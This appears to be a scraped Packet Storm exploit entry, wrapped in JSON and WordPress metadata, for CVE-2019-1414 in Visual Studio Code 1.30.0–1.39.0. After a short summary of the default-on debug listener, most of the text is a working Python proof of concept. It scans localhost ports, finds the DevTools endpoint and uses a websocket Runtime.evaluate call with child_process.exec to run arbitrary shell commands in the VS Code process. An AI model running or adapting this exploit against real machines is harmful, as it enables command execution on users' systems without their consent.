{“lastseen”:”2025-12-05T18:52:21″,”description”:”Visual Studio versions 1.30.0 through 1.39.0 had a remote debugger enabled by default that could cause multiple security issues. Code included to scan for any listeners…”,”published”:”2025-12-05T00:00:00″,”modified”:”2025-12-05T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Visual Studio 1.39.0 Remote Debugger”,”source”:””,”references”:””,”id”:”PACKETSTORM:212502″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2019-1414″],”sourceData”:”=============================================================================================================================================\\n | # Title : Visual Studio 1.30.0 \u2192 1.39.0 Remote Debugger Exploit |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.1 (64 bits) |\\n | # Vendor : https:\/\/code.visualstudio.com\/ |\\n =============================================================================================================================================\\n \\n [+] References : https:\/\/packetstorm.news\/files\/id\/210646\/ \\u0026 CVE-2019-1414 https:\/\/packetstorm.news\/download\/210646\\n \\n [+] Summary : vulnerability in Visual Studio Code affecting versions 1.30.0 through 1.39.0. \\n In these versions, the remote debugger (Node.js Debug Listener) was enabled by default and listened on a local TCP port without proper restrictions. This allowed any untrusted local user to:\\n Enumerate the listening port Connect to the debugger endpoint Access the internal DevTools JSON API\\n Interact with the running VS Code process Potentially escape sandboxes or manipulate the editor environment\\n The issue was discovered and reported by Tavis Ormandy (Google Project Zero). \\n \\t\\t\\t Microsoft patched the vulnerability in Visual Studio Code 1.39.1, disabling the debug listener by default and improving access restrictions.\\n Affected users should upgrade to the patched version or later to avoid unauthorized debugger access by local users.\\n \\n [+] POC : python poc.py\\n \\n #!\/usr\/bin\/env python3\\n \\”\\”\\”\\n VS Code Remote Debugger Exploit\\n by indoushka\\n CVE-2019-1414 (or similar – this was patched in later versions)\\n \\”\\”\\”\\n \\n import requests\\n import json\\n import websocket\\n import sys\\n import subprocess\\n import threading\\n from urllib.parse import urlparse\\n \\n def find_vscode_debug_ports():\\n \\”\\”\\”Find potential VS Code debugger ports\\”\\”\\”\\n ports = []\\n try:\\n # Try netstat approach\\n result = subprocess.run([‘netstat’, ‘-4nlt’], capture_output=True, text=True)\\n for line in result.stdout.split(‘\\\\n’):\\n if ‘LISTEN’ in line and ‘127.0.0.1’ in line:\\n parts = line.split()\\n if len(parts) \\u003e 3:\\n addr = parts[3]\\n if ‘127.0.0.1:’ in addr:\\n port = addr.split(‘:’)[-1]\\n ports.append(int(port))\\n except:\\n pass\\n \\n # Common VS Code debug ports range\\n common_ports = list(range(59000, 65535))\\n return ports + common_ports\\n \\n def check_debugger_endpoint(port):\\n \\”\\”\\”Check if this port has VS Code debugger\\”\\”\\”\\n try:\\n response = requests.get(f’http:\/\/localhost:{port}\/json\/list’, timeout=2)\\n if response.status_code == 200:\\n data = response.json()\\n if data and len(data) \\u003e 0:\\n return data\\n except:\\n pass\\n return None\\n \\n def exploit_websocket(ws_url, command):\\n \\”\\”\\”Execute command through WebSocket debug interface\\”\\”\\”\\n try:\\n # Connect to WebSocket\\n ws = websocket.create_connection(ws_url)\\n \\n # Debugger protocol messages to execute command\\n setup_messages = [\\n {\\n \\”id\\”: 1,\\n \\”method\\”: \\”Runtime.evaluate\\”,\\n \\”params\\”: {\\n \\”expression\\”: f\\”require(‘child_process’).exec(‘{command}’, (error, stdout, stderr) =\\u003e {{ console.log(stdout); }})\\”,\\n \\”includeCommandLineAPI\\”: True,\\n \\”silent\\”: False,\\n \\”returnByValue\\”: False\\n }\\n }\\n ]\\n \\n for msg in setup_messages:\\n ws.send(json.dumps(msg))\\n response = ws.recv()\\n print(f\\”[+] Response: {response}\\”)\\n \\n ws.close()\\n return True\\n except Exception as e:\\n print(f\\”[-] WebSocket exploit failed: {e}\\”)\\n return False\\n \\n def main():\\n print(\\”[*] VS Code Remote Debugger Exploit PoC\\”)\\n print(\\”[*] Scanning for debugger endpoints…\\”)\\n \\n # Find potential ports\\n ports = find_vscode_debug_ports()\\n print(f\\”[*] Checking {len(ports)} potential ports…\\”)\\n \\n vulnerable_endpoints = []\\n \\n for port in ports[:100]: # Limit to first 100 ports for speed\\n sys.stdout.write(f\\”\\\\r[*] Checking port {port}…\\”)\\n sys.stdout.flush()\\n \\n endpoints = check_debugger_endpoint(port)\\n if endpoints:\\n print(f\\”\\\\n[+] Found debugger on port {port}!\\”)\\n vulnerable_endpoints.extend(endpoints)\\n \\n if not vulnerable_endpoints:\\n print(\\”\\\\n[-] No vulnerable debug endpoints found\\”)\\n return\\n \\n print(f\\”\\\\n[+] Found {len(vulnerable_endpoints)} vulnerable endpoint(s)\\”)\\n \\n for endpoint in vulnerable_endpoints:\\n print(f\\”\\\\n[+] Target: {endpoint.get(‘title’, ‘Unknown’)}\\”)\\n print(f\\” Type: {endpoint.get(‘type’, ‘Unknown’)}\\”)\\n print(f\\” WebSocket: {endpoint.get(‘webSocketDebuggerUrl’, ‘N\/A’)}\\”)\\n \\n # Test with a simple command\\n ws_url = endpoint.get(‘webSocketDebuggerUrl’)\\n if ws_url:\\n # Replace with your test command\\n test_command = \\”whoami \\u003e \/tmp\/vscode_poc.txt \\u0026\\u0026 echo ‘Exploit successful’\\”\\n if sys.platform == \\”win32\\”:\\n test_command = \\”whoami \\u003e C:\\\\\\\\temp\\\\\\\\vscode_poc.txt \\u0026\\u0026 echo Exploit successful\\”\\n \\n print(f\\”[*] Attempting to execute: {test_command}\\”)\\n if exploit_websocket(ws_url, test_command):\\n print(\\”[+] Command execution attempted!\\”)\\n else:\\n print(\\”[-] Command execution failed\\”)\\n \\n if __name__ == \\”__main__\\”:\\n main()\\n \\t\\n \\t\\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/212502″,”cvss”:{“score”:7.8,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:L\/AC:L\/PR:L\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/212502\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-12-05T18:52:21″,”description”:”Visual Studio versions 1.30.0 through 1.39.0 had a remote debugger enabled by default that could cause multiple security issues. Code included to scan for any…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,28,12,15,13,53,7,11,5],"class_list":["post-28895","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-78","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n